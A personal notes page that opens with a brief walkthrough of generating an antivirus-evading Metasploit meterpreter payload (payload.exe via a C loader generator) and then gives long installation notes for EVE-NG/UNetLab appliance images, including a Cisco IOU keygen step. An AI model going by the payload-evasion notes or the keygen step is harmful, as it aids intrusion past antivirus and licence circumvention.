FUD (Fully Un Detectable) Payload with CUSTOM-meterpreter

This payload can’t be detected by TrendMicro
# apt-get install mingw-w64
# cd /root
    Automatic C source code generator – FOR METASPLOIT
           Based on rsmudge metasploit-loader
Metasploit server IP :
Metasploit port number : 4444
(+) Compiling binary ..
-rw-r–r– 1 root root 2180 Feb 27 00:50 temp.c
(+) -rwxr-xr-x 1 root root 13312 Feb 27 00:50 payload.exe

Unetlab Installation on ESXi

-check your CPU support virtualization

-check your hardware support virtualization
# esxcfg-info |grep “HV Support”
|—-HV Support……………………………………..3
|—-World Command Line……………………………grep HV Support
0 – VT/AMD-V indicates that support is not available for this hardware.
1 – VT/AMD-V indicates that VT or AMD-V might be available but it is not supported for this hardware.
2 – VT/AMD-V indicates that VT or AMD-V is available but is currently not enabled in the BIOS.
3 – VT/AMD-V indicates that VT or AMD-V is enabled in the BIOS and can be used.

-Edit the VM settings and go to VM settings > Options > CPUID mask > Advanced > Level 1, add the following CPU mask level
ECX —- —- —- —- —- —- –H- —-
NOTE: do above only if all else failed

-Edit the VM settings and go to VM settings > Options > CPU/MMU
Virtualization . Select
“Use Intel VT-x/AMD-V for instruction set virtualization and Intel EPT/AMD RVI for MMU virtualization”

-vm hardware version must be version 9 or above
# vim-cmd vmsvc/getallvms
# vim-cmd vmsvc/upgrade unetlab-vmid vmx-09

-modify /etc/vmware/config
add in the last line then  logout and relogin from web gui
vhv.enable = “TRUE”
or better
modify /vmfs/volume/datastore1/UnetLab/UnetLab.vmx
add to the last line
vhv.enable = “TRUE”

-should show “nestedHVSupported true”
# vim-cmd vmsvc/get.capability 8

-test in ubuntu
# egrep -c ‘(vmx|svm)’ /proc/cpuinfo
the output should be 8

-to reconfigure network
# rm -f /opt/ovf/.configured
# exit
and login back

-if sometime you can’t login Web GUI, try this
# /etc/init.d/apache2 restart

Download Unetlab from: http://www.eve-ng.net/index.php/downloads

-check current version
# dpkg -l eve-ng
ii  eve-ng         2.0.3-53     amd64        A new generation software for net
# apt autoremove (answer Y)
# apt-get update
# apt-get install eve-ng
# apt-get dist-upgrade (answer Y)
# reboot ( if previous version < V84 )
-check new version
# dpkg -l eve-ng
ii  eve-ng         2.0.3-60     amd64        A new generation software for net

-to check what version are you running and what version is the freshest one
# cat /etc/apt/sources.list.d/unetlab.list
deb http://www.unetlab.com/apt trusty rrlabs
# apt-cache policy unetlab
Installed: 0.9.0-96
Candidate: 0.9.0-96
Version table:
*** 0.9.0-96 0
500 http://www.unetlab.com/apt/ trusty/rrlabs amd64 Packages
100 /var/lib/dpkg/status
0.9.0-94 0
500 http://www.unetlab.com/apt/ trusty/rrlabs amd64 Packages
0.9.0-92 0
500 http://www.unetlab.com/apt/ trusty/rrlabs amd64 Packages
0.9.0-88 0
500 http://www.unetlab.com/apt/ trusty/rrlabs amd64 Packages
0.9.0-76 0
500 http://www.unetlab.com/apt/ trusty/rrlabs amd64 Packages
0.9.0-70 0
500 http://www.unetlab.com/apt/ trusty/rrlabs amd64 Packages
0.9.0-68 0
500 http://www.unetlab.com/apt/ trusty/rrlabs amd64 Packages
0.9.0-54 0
500 http://www.unetlab.com/apt/ trusty/rrlabs amd64 Packages

-Below is the reference node in UNL: “/opt/unetlab/html/includes/init.php”
‘a10’ => ‘A10 vThunder’,
‘osx’ => ‘Apple OSX’,
‘clearpass’ => ‘Aruba ClearPass’,
‘aruba’ => ‘Aruba WiFi Controller’,
‘veos’ => ‘Arista vEOS’,
‘barracuda’ => ‘Barraccuda NGIPS’,
‘brocadevadx’ => ‘Brocade vADX’,
‘cpsg’ => ‘CheckPoint Security Gateway VE’,
//’docker’ => ‘Docker.io’,
‘acs’ => ‘Cisco ACS’,
‘ampcloud’ => ‘Cisco AMP Cloud’,
‘asa’ => ‘Cisco ASA’,
‘asav’ => ‘Cisco ASAv’,
‘cda’ => ‘Cisco Context Directory Agent’,
‘csr1000v’ => ‘Cisco CSR 1000V’,
‘csr1000vng’ => ‘Cisco CSR 1000V (Denali and Everest)’,
‘cips’ => ‘Cisco IPS’,
‘cucm’ => ‘Cisco CUCM’,
‘ise’ => ‘Cisco ISE’,
‘c1710’ => ‘Cisco IOS 1710 (Dynamips)’,
‘c3725’ => ‘Cisco IOS 3725 (Dynamips)’,
‘c7200’ => ‘Cisco IOS 7206VXR (Dynamips)’,
‘iol’ => ‘Cisco IOL’,
‘titanium’ => ‘Cisco NX-OSv (Titanium)’,
‘nxosv9k’ => ‘Cisco NX-OSv 9K’,
‘firepower’ => ‘Cisco FirePower’,
‘firepower6’ => ‘Cisco FirePower 6′,
//’ucspe’ => ‘Cisco UCS-PE’,
‘vios’ => ‘Cisco vIOS’,
‘viosl2’ => ‘Cisco vIOS L2’,
‘vnam’ => ‘Cisco vNAM’,
‘vwlc’ => ‘Cisco vWLC’,
‘vwaas’ => ‘Cisco vWAAS’,
‘prime’ => ‘Cisco Prime Infra’,
‘phoebe’ => ‘Cisco Email Security Appliance (ESA)’,
‘coeus’ => ‘Cisco Web Security Appliance (WSA)’,
‘xrv’ => ‘Cisco XRv’,
‘xrv9k’ => ‘Cisco XRv 9000’,
‘nsvpx’ => ‘Citrix Netscaler’,
‘sonicwall’ => ‘Dell SonicWall’,
‘cumulus’ => ‘Cumulus VX’,
‘extremexos’ => ‘ExtremeXOS’,
‘bigip’ => ‘F5 BIG-IP LTM VE’,
‘fortinet’ => ‘Fortinet FortiGate’,
‘huaweiusg6kv’ => ‘Huawei USG6000v’,
‘hpvsr’ => ‘HP VSR1000’,
‘jspace’ => ‘Junos Space’,
‘olive’ => ‘Juniper Olive’,
‘vmx’ => ‘Juniper vMX’,
‘vmxvcp’ => ‘Juniper vMX VCP’,
‘vmxvfp’ => ‘Juniper vMX VFP’,
‘vsrx’ => ‘Juniper vSRX’,
‘vsrxng’ => ‘Juniper vSRX NextGen’,
‘vqfxre’ => ‘Juniper vQFX RE’,
‘vqfxpfe’ => ‘Juniper vQFX PFE’,
‘junipervrr’ => ‘Juniper RR’,
‘linux’ => ‘Linux’,
‘mikrotik’ => ‘MikroTik RouterOS’,
‘timos’ => ‘Nokia 7750 VSR-I’,
‘timoscpm’ => ‘Nokia 7750 CPM’,
‘timosiom’ => ‘Nokia 7750 IOM’,
‘ostinato’ => ‘Ostinato’,
‘paloalto’ => ‘Palo Alto VM-100 Firewall’,
‘pfsense’ => ‘pfSense Firewall’,
‘alteon’ => ‘Radware AlteonVA’,
‘riverbed’ => ‘Riverbed’,
‘sterra’ => ‘S-Terra’,
‘vyos’ => ‘VyOS’,
‘esxi’ => ‘VMWare ESXi’,
‘vcenter’ => ‘VMWare vCenter’,
‘win’ => ‘Windows’,
‘winserver’ => ‘Windows Server’,
‘vpcs’ => ‘Virtual PC (VPCS)’

Qemu folder name EVE Vendor Qemu image .qcow2 name
a10- A10-vthunder hda
osx- Apple OSX
clearpass- Aruba ClearPass hda
aruba- Aruba WiFi Controller hda, hdb
veos Arista vEOS hda, cdrom.iso
barracuda- Barraccuda NGIPS hda
brocadevadx- Brocade vADX virtioa
cpsg- CheckPoint Security Gateway VE hda
docker- Docker.io
acs- Cisco ACS hda
ampcloud Cisco AMP Cloud
asa- Cisco ASA hda
asav- Cisco ASAv virtioa
cda- Cisco Context Directory Agent hda
csr1000v- Cisco CSR 1000v virtioa
csr1000vng- Cisco CSR 1000v (Denali and Everest) virtioa
cips- Cisco IPS hda, hdb
cucm- Cisco CUCM virtioa
ise- Cisco ISE hda
titanium- Cisco NX-OSv (Titanium) virtioa
nxosv9k- Cisco NX-OSv 9k hda
firepower- Cisco FirePower scsia
firepower6- Cisco FirePower 6 hda
ucspe Cisco UCS-PE
vios- Cisco vIOS virtioa
viosl2- Cisco vIOS L2 virtioa
vnam- Cisco vNAM hda
vwlc- Cisco vWLC megasasa
vwaas- Cisco vWAAS virtioa
prime- Cisco Prime Infra
phoebe- Cisco Email Security Appliance (ESA) hda
coeus- Cisco Web Security Appliance (WSA) virtioa
xrv- Cisco XRv hda
xrv9k- Cisco XRv 9000 virtioa
nsvpx- Citrix Netscaler virtioa
sonicwall- DELL Sonicwall hda
cumulus- Cumulus VX hda
extremexos- ExtremeOS hda
bigip- F5 BIG-IP LTM VE hda, hdb
fortinet- Fortinet FW virtioa
fortinet- Fortinet SGT virtioa
fortinet- Fortinet mail virtioa, virtiob
fortinet- Fortinet manager virtioa
huaweiusg6kv Huawei USG6000v
hpvsr- HP VSR1000 hda
jspace- Junos Space hda
olive- Juniper Olive hda
vmx- Juniper vMX hda
vmxvcp- Juniper vMXVCP hda, hdb, hdc
vmxvfp- Juniper vMXVFP hda
vsrx- Juniper vSRX virtioa
vsrxng- Juniper vSRX NextGen hda
vqfxre- Juniper vQFXRE hda
vqfxpfe- Juniper vQFXPFE hda
junipervrr Juniper RR
linux- Linux hda
mikrotik- MikroTik RouterOS hda
timos- Nokia 7750 VSR-I hda
timoscpm- Nokia 7750 CPM
timosiom- Nokia 7750 IOM
ostinato- Ostinato traffic generator hda
paloalto- Palo Alto VM-100 Firewall virtioa
pfsense- pfSense Firewall hda
alteon- Radware AlteonVA virtioa
riverbed- Riverbed virtioa, virtiob
sterra- S-terra VPN hda
vyos- VyOS virtioa
esxi- VMWare ESXi
vcenter- VMWare Vcenter
win- Windows hda
winserver- Windows Server hda
vpcs Virtual PC (VPCS)

-to install ios image
scp c1710-bk9no3r2sy-mz.124-23.bin, c3725-adventerprisek9-mz.124-15.T14.bin and c7200-adventerprisek9-mz.152-4.S6.bin to /opt/unetlab/addons/dynamips
# cd /opt/unetlab/addons/dynamips
# unzip c1710-bk9no3r2sy-mz.124-23.bin
# unzip c3725-adventerprisek9-mz.124-15.T14.bin
# unzip c7200-adventerprisek9-mz.152-4.S6.bin
# mv C1710-BK.BIN c1710-bk9no3r2sy-mz.124-23.image
# mv C3725-AD.BIN c3725-adventerprisek9-mz.124-15.T14.image
# mv C7200-AD.BIN c7200-adventerprisek9-mz.152-4.S6.image
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install asa
# mkdir -p /opt/unetlab/addons/qemu/asa-8.42
scp ASA-8.42.vmdk and ASA-8.42-0.vmdk into /opt/unetlab/addons/qemu/asa-8.42
# cd /opt/unetlab/addons/qemu/asa-8.42
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ASA-8.42.vmdk hda.qcow2
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ASA-8.42-0.vmdk hdb.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
create two asa node with ram 1024mb
# conf t
(config)# hostname asa1
(config)# int e0
(config-if)# ip add
(config-if)# nameif outside
(config-if)# no sh
# conf t
(config)# hostname asa2
(config)# int e0
(config-if)# ip add
(config-if)# nameif outside
(config-if)# no sh
(config-if)# end
# ping mkdir -p /opt/unetlab/addons/qemu/asa-9.15
scp hda.qcow2 and hdb.qcow2 into /opt/unetlab/addons/qemu/asa-9.15
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
Forum said only asa-9.15 can do Active/Active

-to install a10
# mkdir -p /opt/unetlab/addons/qemu/a10-4.0.1
# scp vThunder-4.0.1.ova into /opt/unetlab/addons/qemu/a10-4.0.1
# cd  /opt/unetlab/addons/qemu/a10-4.0.1
# tar xf vThunder-4.0.1.ova
# # /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 vThunder-4.0.1-disk1.vmdk hda.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

 -to install acs
download acs-
create acs vm in ESXi with 4GB RAM, 2x CPU core, 40GB thin disk, OS Other Linux 64bit
boot acs vm and attach acs-
after install, reboot and remove detach acs.iso
login: setup
Enter hostname[]: acs
Enter IP address:
Enter IP netmask[]:
Enter IP default gateway[]:
Enter default DNS domain[]: poc.com
Enter primary nameserver[]:
Add seconday nameserver? Y/N [N}:
Enter NTP server[time.nist.gov]:
Add another NTP server? Y/N [N]:
Enter system timezone[UTC]: GMT
Enable SSH service? Y/N [N]: y
Enter username[admin]:
Enter password:
Enter password again:shutdown acs vm
ssh as root to unetlab
# mkdir -p /opt/unetlab/addons/qemu/acs-
ssh as root into ESXi
# cd /vmfs/volume/datastore1/acs
# scp *vmdk root@
switch to unetlab
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 acs.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
-to install asav
# mkdir -p /opt/unetlab/addons/qemu/asav-932-200
scp asav932-200.qcow2 into /opt/unetlab/addons/qemu/asav-932-200
# cd /opt/unetlab/addons/qemu/asav-932-200
# cp -p asav932-200.qcow2 hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
create asav lab
Make sure console is vnc in unl file.
# cat /opt/unetlab/labs/LAB.unl

logout and relogin from web gui

-to install Aruba MM
# mkdir /opt/unetlab/addons/qemu/aruba-mm-
scp ArubaOS_MM_8.2.0.2_62929.ova into /tmp
# cd /tmp
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_MM_8.2.0.2_62929-disk1.vmdk /opt/unetlab/addons/qemu/aruba-mm- /hda.qcow2
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_MM_8.2.0.2_62929-disk2.vmdk /opt/unetlab/addons/qemu/aruba-mm- /hdb.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
-set 6GB RAM and 3 CPU minimum. NICs must be 3 before turn on

-to install aruba vmc
# mkdir -p /opt/unetlab/addons/qemu/aruba-vmc-
scp ArubaOS_VMC_8.2.0.2_62929.tar into /tmp
# tar xf ArubaOS_VMC_8.2.0.2_62929.tar
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_VMC_8.2.0.2_62929-disk1.vmdk /opt/unetlab/addons/qemu/aruba-vmc-
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_VMC_8.2.0.2_62929-disk2.vmdk /opt/unetlab/addons/qemu/aruba-vmc-
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions


-to install bigip-12.0
download BIGIP- from
# mkdir -p /opt/unetlab/addons/qemu/bigip-12.0/
scp BIGIP- into /opt/unetlab/addons/qemu/bigip-12.0/
# cd /opt/unetlab/addons/qemu/bigip-12.0/
# unzip BIGIP-
# rm BIGIP-
# mv BIGIP- hda.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions


-to install brocadevadx
# mkdir -p /opt/unetlab/addons/qemu/brocadevadx-3100
# scp SSR3100ESX_EVAL.zip into /opt/unetlab/addons/qemu/brocadevadx-3100
# cd /opt/unetlab/addons/qemu/brocadevadx-3100
# unzip SSR3100ESX_EVAL.zip
# tar xf SSR03100ESX.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 SSR1000ESX-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

Make sure console is vnc in unl file.
# cat /opt/unetlab/labs/LAB.unl

logout and relogin from web gui

-to install cda
open ESXi and prepare cda vm with minimum spec
OS: Windows 2003, 2008, 2008R2, 2012, 2012R2
Disk Size: 120GB
CPU: 2 virtual core
NIC: 1pc
See p2-2
Download and install cda_1.0.0.011.i386.iso
see p2-12 pdf above
shutdown vm
ssh as root into unetlab
# mkdir -p /opt/unetlab/addons/qemu/cda-1.0
ssh as root into ESXi
# cd /vmfs/volume/datastore1/cda
# scp *vmdk root@
ssh as root to unetlab server
# cd /opt/unetlab/addons/qemu/cda-1.0
# /opt/qemu/bin/qemu-img create -f qcow cda-flat.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install cips
# mkdir -p /opt/unetlab/addons/qemu/cips-4240
scp IPS-4240.ova into /opt/unetlab/addons/qemu/cips-4240
# cd /opt/unetlab/addons/qemu/cips-4240
# tar xf IPS-4240.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 IPS-4240-disk1.vmdk hda.qcow2
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 IPS-4240-disk2.vmdk hdb.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
when you start cips for first time
L: cisco
P: cisco


-to install clearpass
# mkdir -p /opt/unetlab/addons/qemu/aruba-vmc-
scp ArubaOS_VMC_8.2.0.2_62929.tar into /tmp
# tar xf ArubaOS_VMC_8.2.0.2_62929.tar
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_VMC_8.2.0.2_62929-disk1.vmdk /opt/unetlab/addons/qemu/aruba-vmc-
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 ArubaOS_VMC_8.2.0.2_62929-disk2.vmdk /opt/unetlab/addons/qemu/aruba-vmc-

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install coeus
# mkdir -p /opt/unetlab/addons/qemu/coeus-
scp coeus-9-0-0-324-S100V.zip into /opt/unetlab/addons/qemu/coeus-
# cd /opt/unetlab/addons/qemu/coeus-
# unzip coeus-9-0-0-324-S100V.zip
# mv coeus-9-0-0-324-S100V/coeus-9-0-0-324-S100V-disk1.vmdk ..
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 coeus-9-0-0-324-S100V-disk1.vmdk virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
# vi /opt/unetlab/html/templates/coeus.php
$p[‘console’] = ‘telnet’;
$p[‘console’] = ‘vnc’;

-to install cpsg
download CheckPoint GAIA R77-30 iso
create cpsg-r7730 vm in ESXI with 30GB HD, 2GB RAM, 4 nics and Other Linux 64bit
1. Install Gaia on this system
press Enter
2. Keyboard Selection
click US and OK
3. Partitions Configuration
click OK
4. Account Configuration
click OK
5. Management Port
choose your manament nic
click OK
6. Management Interface (eth0)
IP address:
Default gateway:
click OK
7. Confirmation
click OK
Shutdown vm and export as ova
# mkdir -p /opt/unetlab/addons/qemu/cpsg-r7730
scp cpsg-r7730.ova into /opt/unetlab/addons/qemu/cpsg-r7730
# tar xf cpsg-r7730.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 cpsg-r7730-disk1.vmdk hda.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install csr
# mkdir -p /opt/unetlab/addons/qemu/csr1000v-universalk9.03.14.00.S.155-1.S
scp csr1000v-universalk9.03.14.01.S.155-1.S1-std.ova into /opt/unetlab/addons/qemu/csr1000v-universalk9.03.14.00.S.155-1.S
# cd /opt/unetlab/addons/qemu/csr1000v-universalk9.03.14.00.S.155-1.S
# tar xf csr1000v-universalk9.03.14.01.S.155-1.S1-std.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 csr1000v_harddisk.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install cumulus
Download Cumulus VX for VMware from https://cumulusnetworks.com/cumulus-vx/download/
# mkdir -p /opt/unetlab/addons/qemu/cumulus-2.5.3
scp CumulusVX-2.5.3-4eb681f3df86c478.vmware.ova /opt/unetlab/addons/qemu/cumulus-2.5.3
# cd /opt/unetlab/addons/qemu/cumulus-2.5.3
# tar xf CumulusVX-2.5.3-4eb681f3df86c478.vmware.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 CumulusVX-2.5.3-4eb681f3df86c478-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install extremexos
# mkdir -p /opt/unetlab/addons/qemu/extremexos-
scp extremexosvm.zip /opt/unetlab/addons/qemu/extremexos-
# cd /opt/unetlab/addons/qemu/extremexos-
# unzip extremexosvm.zip
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 “EXOS_VM_15.3.2.11 sw1.vmdk” hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install fortinet
We must download fortios KVM version not VMware version. The hd name must be virtioa not hda otherwise you will get country error
# mkdir -p /opt/unetlab/addons/qemu/fortinet-5.2.3b670
scp fortios_5-2-3.qcow2 into /opt/unetlab/addons/qemu/fortinet-5.2.3b670
# cd /opt/unetlab/addons/qemu/fortinet-5.2.3b670
# mv fortios_5-2-3.qcow2 virtioa.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to add log disk
# cd /opt/unetlab/addons/qemu/fortinet-5.6
create 500MB log disk size
# /opt/qemu/bin/qemu-img create -f raw virtiob.qcow2 500M
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
on FortiGate
# get system status
Version: FortiGate-VM64-KVM v5.6.0,build1449,170330 (GA)
Virus-DB: 1.00123(2015-12-11 13:18)
Extended DB: 1.00000(2012-10-17 15:46)
IPS-DB: 6.00741(2015-12-01 02:30)
IPS-ETDB: 0.00000(2001-01-01 00:00)
APP-DB: 6.00741(2015-12-01 02:30)
INDUSTRIAL-DB: 6.00741(2015-12-01 02:30)
Serial-Number: FGVMEV0000000000
IPS Malicious URL Database: 1.00001(2015-01-01 01:01)
Botnet DB: 1.00000(2012-05-28 22:51)
License Status: Valid
Evaluation License Expires: Sun May  7 05:35:13 2017
VM Resources: 1 CPU/1 allowed, 995 MB RAM/1024 MB allowed
BIOS version: 04000002
Log hard disk: Need format
Hostname: FortiGate-VM64-KVM
Operation Mode: NAT
Current virtual domain: root
Max number of virtual domains: 1
Virtual domains status: 1 in NAT mode, 0 in TP mode
Virtual domain configuration: disable
FIPS-CC mode: disable
Current HA mode: standalone
Branch point: 1449
Release Version Information: GA
FortiOS x86-64: Yes
System time: Sat Apr 22 05:46:50 2017
FortiGate-VM64-KVM # execute formatlogdisk
Log disk is /dev/vdb.
Formatting this storage will erase all data on it, including
  logs, quarantine files;
and require the unit to reboot.
Do you want to continue? (y/n)y
FortiGate-VM64-KVM # get hardware status
Model name: FortiGate-VM64-KVM
ASIC version: not available
CPU: QEMU Virtual CPU version 1.0
Number of CPUs: 1
RAM: 995 MB
Compact Flash: 2056 MB /dev/vda
Hard disk: 500 MB /dev/vdb

USB Flash: not available

Fortigate: You cannot create VDOMs, have a throughput limit, have some SSL limitation and has no Subscription signatures for IPS / App Control, AV, Web Filtering and Antispam.
   You cannot try FortiGate HA with trial version because the trial VM has the same S/N of the other and the Cluster could not form
FortiManager / FortiAnalyzer: Limit of log per day or management devices
FortiADC (VM and D series): I believe that latest version only release the GUI after upload the license. The older versions has no limitation.
FortiWeb: There’s no signature update
FortiSandbox: Did not download the Windows VM’s
FortiAuthenticator: Limit the number of users in database

FortiMail: There’s no signature (antivirus) and no antispam (cloud)

-to install hpvsr
Download hpvsr from https://h10145.www1.hpe.com/Downloads/SoftwareReleases.aspx?ProductNumber=JG811AAE&lang=en&cc=us&prodSeriesId=5443163

# mkdir /opt/unetlab/addons/qemu/hpvsr-1001-CMW710
scp VSR1000_HPE-CMW710-E0325-X64.zip into /tmp
# cd /tmp
# unzip VSR1000_HPE-CMW710-E0325-X64.zip
# tar xf VSR1000_HPE-CMW710-E0325-X64.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 VSR1000_HPE-CMW710-E0325-X64-disk1.vmdk /opt/unetlab/addons/qemu/hpvsr-1001-CMW710/hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install iol
find in google these 3 files

copy above files into /opt/unetlab/addons/iol/bin
# cd /opt/unetlab/addons/iol/bin
# mv i86bi_linux-adventerprisek9-ms.154-2.T4 i86bi_linux-adventerprisek9-ms.154-2.T4.bin
# mv i86bi_linux_l2-adventerprisek9-ms.156-0.9.S i86bi_linux_l2-adventerprisek9-ms.156-0.9.S.bin
# unzip CiscoIOUKeygen.py.zip
# python CiscoIOUKeygen.py
# mv iourc.txt iourc
NOTE: don’t use .iourc, otherwise it won’t run

-to import iou lab
SOURCE: http://www.unetlab.com/2015/06/importing-iou-web-labs/
download IOU-WEB from
Download, extract and import v22VMIOU2014 into VMware
Power on the vm and modify its ip address
# cat /etc/sysconfig/network-scripts/ifcfg-eth0

# service network restart
open web browser and go to
click Downloads/database.sdb
scp database.sdb into unetlab server tmp

login as root into unetlab vm
# apt-get install php5-sqlite sqlite
# cd /opt/unetlab/scripts/
# wget https://raw.githubusercontent.com/dainok/unetlab/master/scripts/import_iou-web.php .
# chmod 755 /opt/unetlab/scripts/import_iou-web.php
# /opt/unetlab/scripts/import_iou-web.php /tmp/database.sdb
All labs will be imported under /opt/unetlab/labs/Imported

IOU assigns DCE/DTE on a per slot basis. Even slots are DTE, Odd slots are DCE

e.g. Slots 0, 2, 4.. = DTE; Slots 1, 3, 5.. = DCE

-to install ise
In ESXi import ISE-
ssh as root to ESXi
# /vmfs/volumes/datastore1/ISE
# scp *vmdk root@
ssh as root to unetlab server
# mkdir -p /opt/unetlab/addons/qemu/ise-
# cd /opt/unetlab/addons/qemu/ise-
# /opt/qemu/bin/qemu-img convert -f qcow ISE-flat.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install mikrotik
Download latest chr vmdk from http://www.mikrotik.com/download
# mkdir /opt/unetlab/addons/qemu/mikrotik-6.34.3
scp chr-6.34.3.vmdk into /opt/unetlab/addons/qemu/mikrotik-6.34.3
# cd /opt/unetlab/addons/qemu/mikrotik-6.34.3
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 chr-6.34.3.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: admin

-to install nsvpx
# mkdir -p /opt/unetlab/addons/qemu/nsvpx-
scp NSVPX-ESX-11.0-55.20_nc.zip into /opt/unetlab/addons/qemu/nsvpx-
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 NSVPX-ESX-11.0-55.20_nc-disk1.vmdk virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install olive
# mkdir -p /opt/unetlab/addons/qemu/olive-12.1R1.9
scp “Juniper JunOS Olive12.1R1.9 Virtualbox image.ova” into /opt/unetlab/addons/qemu/olive-12.1R1.9
# cd /opt/unetlab/addons/qemu/olive-12.1R1.9
# tar xf “Juniper JunOS Olive12.1R1.9 Virtualbox image.ova”
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 “JunOS Olive-disk1.vmdk” hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install ostinato
Download ost-drone-0.7-v1.qcow2 from
# mkdir /opt/unetlab/addons/qemu/ostinato-0.7-v1
scp ost-drone-0.7-v1.qcow2 into /opt/unetlab/addons/qemu/ostinato-0.7-v1
# cd /opt/unetlab/addons/qemu/ostinato-0.7-v1
# mv ost-drone-0.7-v1.qcow2 hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install paloalto
# mkdir -p /opt/unetlab/addons/qemu/PA-VM-ESX-7.0.1
scp PA-VM-ESX-6.1.0.ova into /opt/unetlab/addons/qemu/paloalto-7.0.1
# cd /opt/unetlab/addons/qemu/paloalto-7.0.1
# tar xf PA-VM-ESX-7.0.1 .ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 PA-VM-ESX-7.0.1-disk1.vmdk virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions


PA in UNL no need license but no URL and threat signature updates, as well as fewer sessions through the firewall

-to install radware
SOURCE: http://www.unetlab.com/forum/viewtopic.php?f=7&t=39&sid=0ade6575a07ae6534a3fbce8dd7e3049
download alteon radware from https://www.radware.com/resources/softwaredownloads/network-admin-software/
Icon: Load Balancer.png
CPU: 2 (minimum)
RAM: 2560MB (minimum)
Ethernets: 3 (minimum)
console: VNC (since telnet won’t work)
# mkdir /opt/unetlab/addons/qemu/linux-radware
scp AlteonOS-30A-5-0-0.ova into /opt/unetlab/addons/qemu/linux-radware
# cd /opt/unetlab/addons/qemu/linux-radware
# tar xf AlteonOS-30-5-0-0.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 AlteonOS- virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
Enter password: admin

-to install riverbed
# mkdir /opt/unetlab/addons/qemu/riverbed-vcx9.2.0/
scp image_rbt_vcx_9_2_0_n8_x86_64.ova into /opt/unetlab/addons/qemu/riverbed-vcx9.2.0/
# cd /opt/unetlab/addons/qemu/riverbed-vcx9.2.0/
# tar xf image_rbt_vcx_9_2_0_n8_x86_64.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 image-vcx-disk1.vmdk virtioa.qcow2
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 image-vcx-disk2.vmdk virtiob.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: admin
P: password
disregard cdrom complain when booting

it will probably boot 2x when power on for the first time and will take around 15min to get login prompt

-to install sophos XG
download latest sophos XG KVM from https://secure2.sophos.com/en-us/products/next-gen-firewall/free-trial.aspx#
# mkdir -p /opt/unetlab/addons/qemu/sophos-16.05
scp VI-SFOS_16.05.3_MR-3.KVM-183.zip into /opt/unetlab/addons/qemu/sophos-16.05
# cd /opt/unetlab/addons/qemu/sophos-16.05
# unzip VI-SFOS_16.05.3_MR-3.KVM-183.zip
# mv PRIMARY-DISK.qcow2 hda.qcow2
# mv AUXILIARY-DISK.qcow2 hdb.qcow2
# rm VI-SFOS_16.05.3_MR-3.KVM-183.zip
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
# cd /opt/unetlab/html/templates
# cp cpsg.php sophos.php
# sed -i ‘s/cpsg/sophos/g’ sophos.php
# sed -i ‘s/CP/sophos/g’ sophos.php
# cd ../includes
# vi init.php
‘sophos’ => ‘Sophos’,
after sterra line
LAN IP: (default) port1
WAN IP: dhcp port2
L: admin
P: admin

-to install sourcefire
download from Cisco Cisco_Firepower_Management_Center_Virtual-6.1.0-330.qcow2
